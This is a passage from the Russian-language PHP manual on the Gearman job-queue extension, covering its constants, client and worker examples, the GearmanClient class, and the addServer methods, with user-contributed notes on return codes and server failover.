GEARMAN_ECHO_DATA_CORRUPTION (int)
Указывает, что после вызова GearmanClient::echo() или GearmanWorker::echo() возвращённые данные не соответствуют переданным.
GEARMAN_NEED_WORKLOAD_FN (int)
Когда клиент выбрал потоковый режим передачи данных для обработки, но не задал callback-функцию для обработки данных из этого потока.
GEARMAN_PAUSE (int)
При работе в неблокирующем режиме, это значение может вернуть callback-функция, чтобы приостановить обработку задания и выйти из метода GearmanClient::runTasks(). Чтобы продолжить работу, следует ещё раз вызвать метод GearmanClient::runTasks().
GEARMAN_UNKNOWN_STATE (int)
Внутренняя ошибка клиента/обработчика.
GEARMAN_SEND_BUFFER_TOO_SMALL (int)
Внутренняя ошибка: попытка передать больше данных, чем помещается в один чанк. Размеры буфера жёстко заданы и не подлежат изменению.
GEARMAN_TIMEOUT (int)
Превышено время ожидания, заданный клиентом/обработчиком.

Настройки GearmanClient:

GEARMAN_CLIENT_GENERATE_UNIQUE (int)
Создавать уникальный идентификатор (UUID) для каждой задачи.
GEARMAN_CLIENT_NON_BLOCKING (int)
Запускать клиента в неблокирующем режиме.
GEARMAN_CLIENT_UNBUFFERED_RESULT (int)
Позволять клиенту читать данные и посылать их обратно в чанках вместо буферизации данных целиком средствами библиотеки.
GEARMAN_CLIENT_FREE_TASKS (int)
Автоматически уничтожать объекты задач после их выполнения. Эта настройка используется по умолчанию, чтобы предотвратить утечки памяти.

Настройки GearmanWorker:

GEARMAN_WORKER_NON_BLOCKING (int)
Запускать обработчик заданий в неблокирующем режиме.
GEARMAN_WORKER_GRAB_UNIQ (int)
Возвращать клиенту уникальный идентификатор в дополнение к дескриптору задания.

Базовая конфигурация Gearman:

GEARMAN_DEFAULT_TCP_HOST (string)
GEARMAN_DEFAULT_TCP_PORT (int)
GEARMAN_DEFAULT_SOCKET_TIMEOUT (int)
GEARMAN_DEFAULT_SOCKET_SEND_SIZE (int)
GEARMAN_DEFAULT_SOCKET_RECV_SIZE (int)
GEARMAN_MAX_ERROR_SIZE (int)
GEARMAN_PACKET_HEADER_SIZE (int)
GEARMAN_JOB_HANDLE_SIZE (int)
GEARMAN_OPTION_SIZE (int)
GEARMAN_UNIQUE_SIZE (int)
GEARMAN_MAX_COMMAND_ARGS (int)
GEARMAN_ARGS_BUFFER_SIZE (int)
GEARMAN_SEND_BUFFER_SIZE (int)
GEARMAN_RECV_BUFFER_SIZE (int)
GEARMAN_WORKER_WAIT_TIMEOUT (int)

User Contributed Notes

Anonymous 10-Aug-2022 03:36
There is an GEARMAN_WORKER_GRAB_JOB_IN_USE constant that allows you to retry a job that has been exited by same or another worker (exited unsuccessfully width code <> 0)
michaelhfranze at gmail dot com 07-May-2015 10:26
If you are getting

Error 26  GEARMAN_COULD_NOT_CONNECT (integer)

and you are running SELinux then you need to set

setsetbool -P http_can_network_connect = 1
y_inaura at hm-solution dot jp 13-Apr-2015 02:02
retrunCodes is missed from No.33 .
I think , Correct retrunCodes are this.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 34
GEARMAN_NO_JOBS = 35
GEARMAN_ECHO_DATA_CORRUPTION = 36
GEARMAN_NEED_WORKLOAD_FN = 37
GEARMAN_PAUSE = 38
GEARMAN_UNKNOWN_STATE = 39
GEARMAN_PTHREAD = 40
GEARMAN_PIPE_EOF = 41
GEARMAN_QUEUE_ERROR = 42
GEARMAN_FLUSH_DATA = 43
GEARMAN_SEND_BUFFER_TOO_SMALL = 44
GEARMAN_IGNORE_PACKET = 45
GEARMAN_UNKNOWN_OPTION = 46
GEARMAN_MAX_RETURN = 52
ion dot dulgheru at gmail dot com 19-Aug-2012 01:46
an update (gearman 0.35):

GEARMAN_NO_REGISTERED_FUNCTION = 33
GEARMAN_NO_REGISTERED_FUNCTIONS =    34
GEARMAN_NO_JOBS = 35
GEARMAN_ECHO_DATA_CORRUPTION = 36
GEARMAN_NEED_WORKLOAD_FN = 37
GEARMAN_PAUSE = 38
GEARMAN_UNKNOWN_STATE = 39
GEARMAN_PTHREAD = 40
GEARMAN_PIPE_EOF     = 41
GEARMAN_QUEUE_ERROR    = 42
GEARMAN_FLUSH_DATA = 43
GEARMAN_SEND_BUFFER_TOO_SMALL = 44
GEARMAN_IGNORE_PACKET = 45
GEARMAN_UNKNOWN_OPTION = 46
GEARMAN_TIMEOUT    = 47
GEARMAN_ARGUMENT_TOO_LARGE = 48
GEARMAN_MAX_RETURN =    49
Shane Harter 15-Jun-2010 11:30
I looked everywhere for for a dump of the values of each of the gearman constants. I ended up in the gearman source.

You'll find this useful if you ever just echo the return code.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 33
GEARMAN_NO_JOBS = 34
GEARMAN_ECHO_DATA_CORRUPTION = 35
GEARMAN_NEED_WORKLOAD_FN = 36
GEARMAN_PAUSE = 37
GEARMAN_UNKNOWN_STATE = 38
GEARMAN_PTHREAD = 39
GEARMAN_PIPE_EOF = 40
GEARMAN_QUEUE_ERROR = 41
GEARMAN_FLUSH_DATA = 42
GEARMAN_SEND_BUFFER_TOO_SMALL = 43
GEARMAN_IGNORE_PACKET = 44
GEARMAN_UNKNOWN_OPTION = 45
GEARMAN_MAX_RETURN = 46


Примеры

Содержание

  • Базовое использование
  • Базовый клиент и обработчик Gearman, фоновый режим
  • Базовые клиент и обработчик Gearman, отправка задач

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование

Пример #1 Базовый клиент и обработчик Gearman

Этот пример демонстрирует базовую работу с клиентом и его обработчиком. Клиент отправляет строку серверу заданий, обработчик переворачивает строку и отсылает её назад. Операция выполняется синхронно.

<?php

# Создание клиентского объекта
$gmclient= new GearmanClient();

# Указание сервера по умолчанию (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Отправка задания обратно
do
{
$result = $gmclient->doNormal("reverse", "Hello!");

# Проверка на различные возвращаемые пакеты и ошибки.
switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
echo "Data: $result\n";
break;
case GEARMAN_WORK_STATUS:
list($numerator, $denominator)= $gmclient->doStatus();
echo "Status: $numerator/$denominator complete\n";
break;
case GEARMAN_WORK_FAIL:
echo "Failed\n";
exit;
case GEARMAN_SUCCESS:
echo "Success: $result\n";
break;
default:
echo "RET: " . $gmclient->returnCode() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

?>
<?php

echo "Starting\n";

# Создание нового обработчика.
$gmworker= new GearmanWorker();

# Добавление сервера по умолчанию (localhost).
$gmworker->addServer();

# Регистрация функции "reverse" на сервере. Изменение функции обработчика на
# "reverse_fn_fast" для более быстрой обработки без вывода.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# Этот цикл не является необходимым, но показывает как выполняется работа
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
$job->sendStatus($x, $workload_size);
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Возвращаем, когда необходимо отправить результат обратно клиенту.
return $result;
}

# Гораздо более простая и менее подробная версия вышеприведённой функции выглядит так:
function reverse_fn_fast($job)
{
return strrev($job->workload());
}

?>

Результатом выполнения данного примера будет что-то подобное:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:36
Workload: Hello! (6)
Sending status: 1/6 complete
Sending status: 2/6 complete
Sending status: 3/6 complete
Sending status: 4/6 complete
Sending status: 5/6 complete
Sending status: 6/6 complete
Result: !olleH

% php reverse_client.php
Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

User Contributed Notes

dmitriy dot baibuhtin at ya dot ru 05-Nov-2016 10:35
An example of a client is invalid. Progress will not be displayed on the client side, as doNormal method is synchronous.
Code will be executed only after the completion doNormal.
<?php
 case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
?>


Базовый клиент и обработчик Gearman, фоновый режим

Пример #1 Базовый клиент и обработчик Gearman, фоновый режим

Этот пример демонстрирует базовую работу с клиентом и его обработчиком. Клиент отправляет строку серверу выполнения заданий в виде фоновой задачи, а обработчик переворачивает строку. Обратите внимание, что работа выполняется асинхронно, т.е. клиент не ждёт завершения задания, а сразу отключается (а значит и не получает результат).

<?php

# создание объекта
$gmclient= new GearmanClient();

# указание сервера по умолчанию (localhost)
$gmclient->addServer();

# выполнение в фоновом режиме
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
echo "bad return code\n";
exit;
}

echo "done!\n";

?>
<?php

echo "Starting\n";

# Создание обработчика.
$gmworker= new GearmanWorker();

# Указание сервера по умолчанию (localhost).
$gmworker->addServer();

# Регистрация функции "reverse" на сервере. Изменение функции обработчика на
# "reverse_fn_fast" для более быстрой обработки без вывода.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# Этот цикл не является необходимым, но показывает как выполняется работа
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
$job->sendStatus($x, $workload_size);
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Возвращаем, когда необходимо отправить результат обратно клиенту.
return $result;
}

# Гораздо более простая и менее подробная версия вышеприведённой функции выглядит так:
function reverse_fn_fast($job)
{
return strrev($job->workload());
}

?>

Результатом выполнения данного примера будет что-то подобное:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:41
Workload: this is a test (14)
1/14 complete
2/14 complete
3/14 complete
4/14 complete
5/14 complete
6/14 complete
7/14 complete
8/14 complete
9/14 complete
10/14 complete
11/14 complete
12/14 complete
13/14 complete
14/14 complete
Result: tset a si siht

% php reverse_client_bg.php
done!

User Contributed Notes

There are no user contributed notes for this page.


Базовые клиент и обработчик Gearman, отправка задач

Пример #1 Базовые клиент и обработчик Gearman, отправка задач

В этом примере наш базовый клиент переворачивания строки расширен так, чтобы выполнять две задачи параллельно. Обработчик переворачивания строки не изменён, за исключением добавления отправляемых обратно данных во время обработки.

<?php

# создание клиента gearman
$gmc= new GearmanClient();

# указание сервера по умолчанию (localhost)
$gmc->addServer();

# регистрация функций обратного вызова
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# указание неких произвольных данных
$data['foo'] = 'bar';

# добавление двух заданий
$task= $gmc->addTask("reverse", "foo", $data);
$task2= $gmc->addTaskLow("reverse", "bar", NULL);

# выполнение заданий параллельно (использование двух обработчиков)
if (! $gmc->runTasks())
{
echo "ERROR " . $gmc->error() . "\n";
exit;
}

echo "DONE\n";

function reverse_created($task)
{
echo "CREATED: " . $task->jobHandle() . "\n";
}

function reverse_status($task)
{
echo "STATUS: " . $task->jobHandle() . " - " . $task->taskNumerator() .
"/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
echo "COMPLETE: " . $task->jobHandle() . ", " . $task->data() . "\n";
}

function reverse_fail($task)
{
echo "FAILED: " . $task->jobHandle() . "\n";
}

function reverse_data($task)
{
echo "DATA: " . $task->data() . "\n";
}

?>
<?php

echo "Starting\n";

# Создание обработчика.
$gmworker= new GearmanWorker();

# Указание сервера по умолчанию (localhost).
$gmworker->addServer();

# Регистрация функции "reverse" на сервере. Изменение функции обработчика на
# "reverse_fn_fast" для более быстрой обработки без вывода.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# Этот цикл не является необходимым, но показывает как выполняется работа
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Возвращаем, когда необходимо отправить результат обратно клиенту.
return $result;
}

# Гораздо более простая и менее подробная версия вышеприведённой функции выглядит так:
function reverse_fn_fast($job)
{
return strrev($job->workload());
}

?>

Результатом выполнения данного примера будет что-то подобное:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:45
Workload: foo (3)
1/3 complete
2/3 complete
3/3 complete
Result: oof
Received job: H:foo.local:44
Workload: bar (3)
1/3 complete
2/3 complete
3/3 complete
Result: rab

% php reverse_client_task.php
CREATED: H:foo.local:44
CREATED: H:foo.local:45
STATUS: H:foo.local:45 - 1/3
DATA: f
STATUS: H:foo.local:45 - 2/3
DATA: o
STATUS: H:foo.local:45 - 3/3
DATA: o
COMPLETE: H:foo.local:45, oof
STATUS: H:foo.local:44 - 1/3
DATA: b
STATUS: H:foo.local:44 - 2/3
DATA: a
STATUS: H:foo.local:44 - 3/3
DATA: r
COMPLETE: H:foo.local:44, rab
DONE

User Contributed Notes

septerrianin at mail dot ru 11-Sep-2018 07:03
NOTE.
The register of the callback functions needs BEFORE add a task.

This example NOT working correctly:
<?php
# add tasks
$task= $gmc->addTask("reverse", "foo", $data);

# register some callbacks
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# run the task
$gmc->runTasks();
?>


Класс GearmanClient

(PECL gearman >= 0.5.0)

Введение

Представляет собой класс для подключения к серверу заданий Gearman и создания запросов для выполнения некоторой функции по предоставленным данным. Выполняемая функция должна быть зарегистрирована обработчиком (worker) Gearman и передаваемые данные являются непрозрачными для сервера заданий.

Обзор классов

class GearmanClient {
/* Методы */
public __construct()
public addOptions(int $option): bool
public addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool
public addServers(string $servers = null, bool $setupExceptionHandler = true): bool
public addTask(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskHigh(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskHighBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskLow(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskLowBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskStatus(string $job_handle, mixed $context = null): GearmanTask|false
public clearCallbacks(): bool
public context(): string
public doBackground(string $function, string $workload, ?string $unique = null): string
public doHigh(string $function, string $workload, ?string $unique = null): string
public doHighBackground(string $function, string $workload, ?string $unique = null): string
public doJobHandle(): string
public doLow(string $function, string $workload, ?string $unique = null): string
public doLowBackground(string $function, string $workload, ?string $unique = null): string
public doNormal(string $function, string $workload, ?string $unique = null): string
public doStatus(): array
public error(): string|false
public getErrno(): int
public jobStatus(string $job_handle): array
public ping(string $workload): bool
public removeOptions(int $option): bool
public returnCode(): int
public runTasks(): bool
public setCompleteCallback(callable $function): bool
public setContext(string $data): bool
public setCreatedCallback(callable $function): bool
public setDataCallback(callable $function): bool
public setExceptionCallback(callable $function): bool
public setFailCallback(callable $function): bool
public setOptions(int $option): bool
public setStatusCallback(callable $function): bool
public setTimeout(int $timeout): bool
public setWarningCallback(callable $function): bool
public setWorkloadCallback(callable $function): bool
public timeout(): int
public wait(): bool
}

Содержание

  • GearmanClient::addOptions — Добавить клиентские опции
  • GearmanClient::addServer — Добавить сервер задач для клиента
  • GearmanClient::addServers — Добавить список серверов задач для клиента
  • GearmanClient::addTask — Добавить задачу, которая будет выполнена в параллельном режиме
  • GearmanClient::addTaskBackground — Добавить фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskHigh — Добавить высокоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskHighBackground — Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskLow — Добавить низкоприоритетную задачу для работы в параллельном режиме
  • GearmanClient::addTaskLowBackground — Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
  • GearmanClient::addTaskStatus — Добавить задачу для получения статуса
  • GearmanClient::clearCallbacks — Очистить все функции обратного вызова данной задачи
  • GearmanClient::clone — Создать копию объекта GearmanClient
  • GearmanClient::__construct — Создать экземпляр GearmanClient
  • GearmanClient::context — Возвращает контекст приложения
  • GearmanClient::data — Возвращает данные приложения (функция устарела)
  • GearmanClient::do — Выполняет одну задачу и возвращает результат [Устаревший метод]
  • GearmanClient::doBackground — Запускает выполнение задачи в фоновом режиме
  • GearmanClient::doHigh — Запускает на выполнение задачу с высоким приоритетом
  • GearmanClient::doHighBackground — Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
  • GearmanClient::doJobHandle — Получить дескриптор выполняющейся задачи
  • GearmanClient::doLow — Запускает на выполнение задачу с низким приоритетом
  • GearmanClient::doLowBackground — Запускает на выполнение с низким приоритетом задачу в фоновом режиме
  • GearmanClient::doNormal — Выполняет одиночное задание и возвращает результат
  • GearmanClient::doStatus — Получение статуса выполняющейся задачи
  • GearmanClient::echo — Отправляет данные всем серверам заданий, чтобы проверить отклик [Устаревший метод]
  • GearmanClient::error — Вернуть строку ошибки для последней обнаруженной ошибки
  • GearmanClient::getErrno — Получить значение errno
  • GearmanClient::jobStatus — Получение статуса выполнения фонового задания
  • GearmanClient::ping — Отправляет данные на все серверы, чтобы проверить, какие из них выведут эти данные
  • GearmanClient::removeOptions — Удалить клиентские опции
  • GearmanClient::returnCode — Получить последний код возврата Gearman
  • GearmanClient::runTasks — Запустить список задач в параллельном режиме
  • GearmanClient::setClientCallback — Установить функцию обратного вызова, когда есть пакет данных для задачи (устаревший метод)
  • GearmanClient::setCompleteCallback — Установите функцию, которая будет вызвана по завершении задачи
  • GearmanClient::setContext — Установить контекст приложения
  • GearmanClient::setCreatedCallback — Установить функцию обратного вызова, когда задача ставится в очередь
  • GearmanClient::setData — Установить данные приложения (устаревший метод)
  • GearmanClient::setDataCallback — Задаёт callback-функцию для обработки переданных данных
  • GearmanClient::setExceptionCallback — Установка функции обратного вызова для перехвата исключений обработчика заданий
  • GearmanClient::setFailCallback — Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
  • GearmanClient::setOptions — Установка настроек клиента
  • GearmanClient::setStatusCallback — Задание callback-функции, собирающей информацию о состоянии обработчика заданий
  • GearmanClient::setTimeout — Установка времени ожидания для операций ввода/вывода
  • GearmanClient::setWarningCallback — Установка callback-функции, обслуживающей предупреждения обработчика заданий
  • GearmanClient::setWorkloadCallback — Установка callback-функции, принимающей промежуточные результаты от обработчика заданий
  • GearmanClient::timeout — Получение значения времени ожидания операций ввода/вывода
  • GearmanClient::wait — Ожидает активности ввода-вывода для всех подключений на клиенте

User Contributed Notes

There are no user contributed notes for this page.


Добавить клиентские опции

  • « GearmanClient
  • GearmanClient::addServer »
  • PHP Manual
  • GearmanClient
  • Добавить клиентские опции

GearmanClient::addOptions

(PECL gearman >= 0.6.0)

GearmanClient::addOptions — Добавить клиентские опции

Описание

public GearmanClient::addOptions(int $option): bool

Добавляет одну или несколько опций к уже установленным.

Список параметров

option

Опции для добавления. Одна из следующих констант или их комбинация с помощью двоичного оператора OR (|): GEARMAN_CLIENT_GENERATE_UNIQUE, GEARMAN_CLIENT_NON_BLOCKING, GEARMAN_CLIENT_UNBUFFERED_RESULT или GEARMAN_CLIENT_FREE_TASKS.

Возвращаемые значения

Всегда возвращает true.

User Contributed Notes

goran dot v dot miskovic at gmail dot com 08-Sep-2012 09:12
To add multiple options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
?>


Добавить сервер задач для клиента

  • « GearmanClient::addOptions
  • GearmanClient::addServers »
  • PHP Manual
  • GearmanClient
  • Добавить сервер задач для клиента

GearmanClient::addServer

(PECL gearman >= 0.5.0)

GearmanClient::addServer — Добавить сервер задач для клиента

Описание

public GearmanClient::addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool

Добавляет сервер задач к списку серверов, которые могут использоваться для выполнения задачи. Никаких операций ввода-вывода c сокетом здесь не происходит. Сервер просто добавляется к списку.

Список параметров

host

Имя хоста сервера задач.

port

Порт сервера задач.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавление двух серверов задач

<?php

# Создаём клиентский объект
$gmclient= new GearmanClient();

# Добавляем два сервера задач, первый из них работает по умолчанию на порту 4730
$gmclient->addServer("10.0.0.1");
$gmclient->addServer("10.0.0.2", 7003);

?>

Смотрите также

  • GearmanClient::addServers() - Добавить список серверов задач для клиента

User Contributed Notes

jqv8gg681 at relay dot firefox dot com 21-Apr-2022 03:54
Combining recommendations from brainreflex and iloveapplepie, as well as hours of testing. This avoids some bugs in cross versions of gearman across platforms.
It steps though the server list and fails if all are inaccessible.
I also use the same override as "class SmartGearmanClient extends GearmanClient" for the clients.

<?php // WORKER
class SmartGearmanWorker extends GearmanWorker
{
    public $server = false;
    public function connect($servers = array( array('host' => '127.0.0.1', 'port' => '4730') ))
    {
        $connected = false;
        foreach ($servers as $server) {
            $c = new GearmanClient();
            $c->addServer($server['host'], $server['port'], false);

            if (@$c->ping('ping')) {
                $this->addServer($server['host'], $server['port']);
                $connected=true;
                $this->server = array(
                   'host'=>$server['host'],
                   'port'=>$server['port']
                );
                break; // Remove this to use last working server in list
            }
        }
        return $connected;
    }
}

echo "Starting\n";

# Add some servers
$servers = array(
    array('host' => '127.0.0.1', 'port' => '4730'),
    array('host' => '127.0.0.1', 'port' => '4731'),
    array('host' => '127.0.0.1', 'port' => '4732'),
    array('host' => '127.0.0.2', 'port' => '4730'),
    array('host' => '192.168.204.10', 'port' => '4730')
);

# Create our worker object.
$gmw= new SmartGearmanWorker();

if ($gmw->connect($servers)) {
    # Register function "reverseString" with the server.
    $gmw->addFunction("reverseString", "reverseString_fn");

    print "Connected to {$gmw->server['host']}:{$gmw->server['port']}...\n";
    print "Waiting for jobs...\n";

    while ($gmw->work()) {
        if ($gmw->returnCode() != GEARMAN_SUCCESS) {
            echo "return_code: " . $gmw->returnCode() . "\n";
            break;
        }
    }

    echo "DONE\n";
} else {
    echo "Unable to connect to any gearman-job-servers.".PHP_EOL;
};

function reverseString_fn($job)
{
    echo "Received job: " . $job->handle() . "\n";

    $workload = $job->workload();
    $workload_size = $job->workloadSize();

    echo "Workload: $workload ($workload_size)\n";

    # Lets send some progress information
    for ($x= 0; $x < $workload_size; $x++) {
        echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
        $job->sendStatus($x+1, $workload_size);
        $job->sendData(substr($workload, $x, 1));
        sleep(1);
    }

    $result= strrev($workload);
    echo "Result: $result\n";

    # Return what we want to send back to the client.
    return $result;
}
iloveapplepie 12-Feb-2022 06:52
Sometimes you want the job server to start even if not all servers are available.  The reason is that if at a later point the server comes back gearman will use it, even if if failed during the add server operation.

class SmartGearmanWorker extends GearmanWorker
{
    function addServer($host = '127.0.0.1', $port = 4730):bool
    {
        try {
            parent::addServer($host, $port);
            echo "\nSERVER $host WORKED";
        } catch (GearmanException $e) {
            echo "\nSERVER $host FAILED";
        }
        return true;
    }
}

class SmartGearmanClient extends GearmanClient
{
    function addServer($host = '127.0.0.1', $port = 4730,  bool $setupExceptionHandler = false):bool
    {
        try {
            parent::addServer($host, $port, $setupExceptionHandler);
            echo "\nSERVER $host WORKED";
    } catch (GearmanException $e) {

            echo "\nSERVER $host FAILED"; //this does not get called even if the server is down
        }
        return true;
    }
}
michael at butlerpc dot net 21-May-2019 05:23
Prior to version 2.0.5, addServer DOES perform socket I/O indirectly because it calls set_server_option internally for an exception handler. This means if the server is unreachable you will get a GearmanException thrown at this point, and you may want to catch and handle it in your application.

<?php

$client->addServer('127.0.0.1', 4321); // does attempt a socket connection!

?>

Starting with version 2.0.5 of the extension, a third boolean argument (after $port) may be passed false in order to prevent this from happening.

<?php

$client->addServer('127.0.0.1', 4321, false); // no socket i/o happens here

?>
brainreflex at gmail dot com 04-Dec-2015 02:59
Amit, kosta250

I found a workaround to avoid the dead servers and continue with rest alive.

<?php

$servers = array(
  array('host' => '127.0.0.1', 'port' => '4730'),
  array('host' => '127.0.0.1', 'port' => '4731'),
  array('host' => '127.0.0.1', 'port' => '4732'),
  array('host' => '127.0.0.2', 'port' => '4730')
);

$client= new \GearmanClient();

foreach($servers as $server) {
  $c = new \GearmanClient();
  $c->addServer($server['host'], $server['port']);

  if (@$c->ping('ping')) {
    $client->addServer($server['host'], $server['port']);
  }
}

?>
kosta250 at gmail dot com 23-Nov-2015 12:14
Adding to Amit's comments,  I found that if the first server in the list of servers is down, then there seems to be no way to handle such a condition.
Peter 02-Mar-2015 11:18
Solution:
https://bugs.launchpad.net/gearmand/+bug/1118751
Amit 29-Oct-2013 06:19
The addServer and addServers are unforgiving when any of the addresses are down. I tried using exceptions, but it does not quite work. Can you provide a working example to handle a list of servers where one or more is not running.

Thanks
info at phpgangsta dot de 08-Apr-2013 11:22
Since a few versions the port parameter is not optional anymore. I have version 1.1.1 of pecl/gearman compiled with libgearman 1.1.5, and I'm getting the following error:

send_packet(GEARMAN_COULD_NOT_CONNECT) Failed to send server-options packet -> libgearman/connection.cc:430

This happens if you don't provide a port.

Just set the second parameter to 4730 and it is working again.


Добавить список серверов задач для клиента

  • « GearmanClient::addServer
  • GearmanClient::addTask »
  • PHP Manual
  • GearmanClient
  • Добавить список серверов задач для клиента

GearmanClient::addServers

(PECL gearman >= 0.5.0)

GearmanClient::addServers — Добавить список серверов задач для клиента

Описание

public GearmanClient::addServers(string $servers = null, bool $setupExceptionHandler = true): bool

Добавляет список серверов задач, которые могут использоваться для выполнения задачи. Никаких операций ввода-вывода c сокетом здесь не происходит. Сервера просто добавляются к полному списку серверов.

Список параметров

servers

